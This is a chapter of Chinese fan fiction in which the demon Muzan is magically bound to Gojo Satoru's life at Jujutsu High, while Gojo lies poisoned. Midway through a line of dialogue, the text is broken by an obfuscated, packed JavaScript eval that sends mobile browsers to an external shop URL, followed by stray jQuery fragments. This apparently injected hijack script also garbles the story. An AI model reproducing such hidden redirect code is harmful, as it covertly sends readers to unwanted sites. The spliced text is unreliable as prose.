他艰难撑起自己,冷汗在木地板上擦出很长一道痕迹,等那阵忍耐不了的剧痛散去之后,喘了一大口气,回应道:

    “我没事。”

    长发被汗湿后贴在脸上,一缕一缕的,像一片蜿蜒的纹身,一直深入被衣服覆盖的脖颈之下,那惨白的脸上也染了些许绯色。

    无惨大口喘着气,和身体内部的疼痛作斗争,肌肉的痉挛让他根本扛不住身体的重量,再次跌倒在地。

    无惨仅剩的理智都用来克制自己的叫喊,不能让家入硝子进来。

    他没法解释,也不能去解释。

    这种察觉不到的身体的幻痛,说出去也只会被人当作有病,而他也不能接受那些所谓的检查。

    按照他现在的身体情况,被发现了估计要上解剖台。就算无惨现在的实力足够出众,一群蝼蚁也可能让狮子翻车。

    那种无力感,无惨已经感受过了。

    好在这样的惩罚来得快去得也快,在一切都缓和下来后,无惨好像听到了系统的一声轻笑,那无机质的笑容在人声和拍击声当中异常明显,突兀到无惨甚至能肯定那不是他的错觉。

    但现在的无惨根本无心想着这个,当务之急是要将硝子支走。

    “我真的没事,刚才只是撞到了一点东西。”

    无惨推开一点门,将自己堵在门缝中,不给家入硝子进来的机会。

    鬼体态转变的速度很快,光是从地上爬起走到门口这短短几步,无惨就从一个狼狈的姿态收拾成了能见人的模样。

    家入硝子看着无惨确实不像是出了什么问题,也就放心了下来,在高专的宿舍内,又能出什么事呢?

    无惨看着硝子走远,才松了一口气,凛然的目光立刻投向了那个悬浮在空中的金属物体。

    “解释。”

    冰冷的声音在灯光亮堂的室内响起,反而让人觉得惊惧,可现在这个环境内空无一人,只剩一个什么都不在意的系统。

    它不惧无惨的情绪,更不怕无惨动手,它拿捏着无惨的命脉,并控制着指使这位高高在上的鬼王。

    “解释什么,你不会真的以为你做得这些事没人会知道吧?”系统极为惊讶,但仔细想想鬼王无惨确实是个古代人,不清楚现代未来科技也是挺正常的一件事。

    “不过没关系,现在这些都不重要了,鉴于你的前科太多,保证也没什么信誉可言,上面对于现状做了一些调整,你猜猜是什么?”系统饶有兴致发问,它是真的想知道要是无惨知道了这些,那张精致的脸上又会显露出什么样的表情。

    “什么?”

    无惨沉声问道,但想也知道,总归不是什么他爱听的话。

    “对我们来说,你的前车之鉴太多,所以单独给你设立了一个极为特殊的规则……”说到这,系统一边靠近了无惨,细细端详起无惨的神情地变化。

    “从现在开始,你的生命彻底和五条悟绑定在一起了,他死你死,他活你活。”

    像是害怕无惨听不清,系统特意将最后八个字一字一顿地重音读出,响彻在无惨的耳边。

    系统看着无惨脸上的挽尊般的笑容裂开,在一点点的消失,怒火染上他的眉眼,看着他不受控制的将长指甲全部摁进了手心,鲜红的血液一点点滴下。

    “开什么玩笑?”无惨哑着声音,满脸的不可思议。

    “我说过的吧,乖一点,对你而言没有一点坏处。只是你一点都没听进去呐。”

    多少次的警告无惨都当作耳旁风,那现在自食其果也是活该,不要妄图挑战系统的权威,它们都能做到将死去的无惨带到现在这个世界,又怎么可能会查不出无惨在背后做的小动作。

    “解绑。”

    无惨只能做着无用的最后挣扎,他才不想和一个注定会死的人牢牢绑定在一起,这和让他直接去死又有什么区别?

    “这可不是你能说了算的。”系统强势的一面终于显露在无惨面前,说好话和顺着来都不能让无惨好好进行任务的话,那不如让他深陷于恐惧,只能听命于系统。

    “五条悟是必死的,将我们捆绑在一起和直接让我去死又有什么区别?”无惨满面不可思议,想不通为什么系统会做出这样的决定。

    “你可以改变他必死的结局。”系统没有腰,也不用站着说话,自然不用考虑什么有的没的。

    但它也害怕无惨干脆直接摆烂放弃进行任务,给无惨吃了一颗定心丸:“放心,你不会受到对于五条悟剧情杀的影响,只要他没死在该死的地方,那你就下去陪他殉情好了。”

    它说得万分理所应当,却让听得无惨几近目眦欲裂。

    这次的系统一点回旋的余地都没有给无惨留,它算是看明白了,鬼王根本就配不上它们的出谋划策,将死线真正的摆放在无惨面前,他总是会听的。

    “我怎么判断什么时候才是五条悟真正的死期?”无惨不是这个世界的人,也没有预知未来的能力,他又怎么可能知道。

    “只要没有你的影响,五条悟真到了要死的时候也还是会死,只要你别在一天到晚盯着他下手就好。”系统言尽于此,希望无惨自己能处理好这些事。

    “顺便一提,因为你之前的举动,可能会造成一系列的蝴蝶效应,要是五条悟提前死亡的话,你也会跟着死。”系统好心提醒道。

    换个宿主的难度虽然大,但凭借长久的经历积攒下来的积分也不是不能做到。

    但它现在偏想看看,无惨在这个世界,会将演变成什么样的结局。

    五条悟自然是不能死的,就算真要死也不能像原作一样,烂的让人根本无法吐槽,只剩怒骂。

    那是埋藏最深的最后一个任务,真希望无惨看到这条任务时的样子,那一定很有趣。

    放一个恶人反派进入主角团,主系统玩得花样也真是越来越多了。

    无惨坐在桌前,眼光散漫无焦距,也不知道在想些什么,只是不断敲击着桌面的指尖能看出来这位的心情其实并不平静。

    但他也没办法,唯一能做的就是将一切委屈往肚子里吞。

    “不就是需要

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750469|208222||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    保护五条悟嘛,谁还做不到了?”无惨冷哼一声,无论是伪装还是其他什么,他都能做得很好,他有这个自信,但等他所做的事全都过去之后,五条悟就给他等着吧。

    思及此,无惨眼中迸发的杀意更甚,远超之前任何一次。

    沉寂往往是为了今后更加猛烈的爆发。

    次日一大早,又是让鬼心烦的晴天。

    家入硝子一大早就敲响了无惨的房门,可能是昨天的声音吓到了这位心思细腻敏感的医生,在无惨走出房间后在他身上细细打量了一圈才彻底放下心来。

    没有什么明显的外伤,加上昨天并没有听到什么打斗的声音,硝子也就相信了无惨所言,但还是主动撑起了伞。

    “我来吧。”

    因为边上的人全都太高,无惨有意调整了自己的身高,现在的样子不但让硝子撑伞时他不舒服,这样的姿势还会让撑伞的硝子手臂立马泛酸。

    要不是还要靠着剩下两人挽救一下他的形象,无惨才不会这么好心。

    那张向来没什么表情的脸上罕见出现了堪称温柔的神色,诡异得好像让人夺了舍。

    家入硝子实在是看不习惯,主动问道:“怎么了,是遇到什么好事了吗,感觉现在的你好像蛮高兴的样子。”

    闻言,无惨脚下的步子一顿,好不容易端出的笑意几近崩裂。

    高兴的事?

    是啊,真是高兴到让他要死的事。

    无惨很快收拾好情绪,没让硝子看出分毫。

    “可能是,快走吧,要上课了不是吗?”

    无惨对此闭口不言,硝子也无法继续往下问,但只是这样也足够让她看出无惨今日的诡异与不对。

    两人一进教室,里面却空无一人,明明今天路上耽搁了不少时间,甚至还在出宿舍的时候绕路去食堂买了个早饭,给他们剩下的时间本就不多,另外两个人现在都还没来就有些不对了。

    夜蛾正道耳提面命嘱咐最近不能旷课,这两人还要顶风作案吗?

    家入硝子皱着眉进了座位,直觉让她知道好像事情并不是那么的简单。

    上课铃及时打响,夜蛾正道步伐匆匆,满面疲色,冲着两个空余的位置也没多问,反而对着他们俩疑惑的神色解释道:

    “昨天晚上,五条悟在寝室中毒发,生命垂危被直接送进了医院。”

    说到这,夜蛾正道冲着边上摆弄着文具的月彦扫过去一眼,正巧对上了那双猩红色的眼眸。

    身为老师,他当然知道是什么导致五条悟中毒,可那太明显了,连掩饰都没掩饰,光明正大的好像一点都不害怕被人发现。

    但那包饼干经手的人又实在过多,就连他自己都是怀疑对象。

    夜蛾正道实在不想将这种怀疑牵连到他的学生上,前提是这位学生是真的无辜。

    五条悟的存在实在是妨碍到了很多人,值得怀疑的人实在太多,而无惨脸上那副惊讶的神色又不像是作伪。

    那又是谁,要费尽心力去陷害一个十五六岁的小姑娘?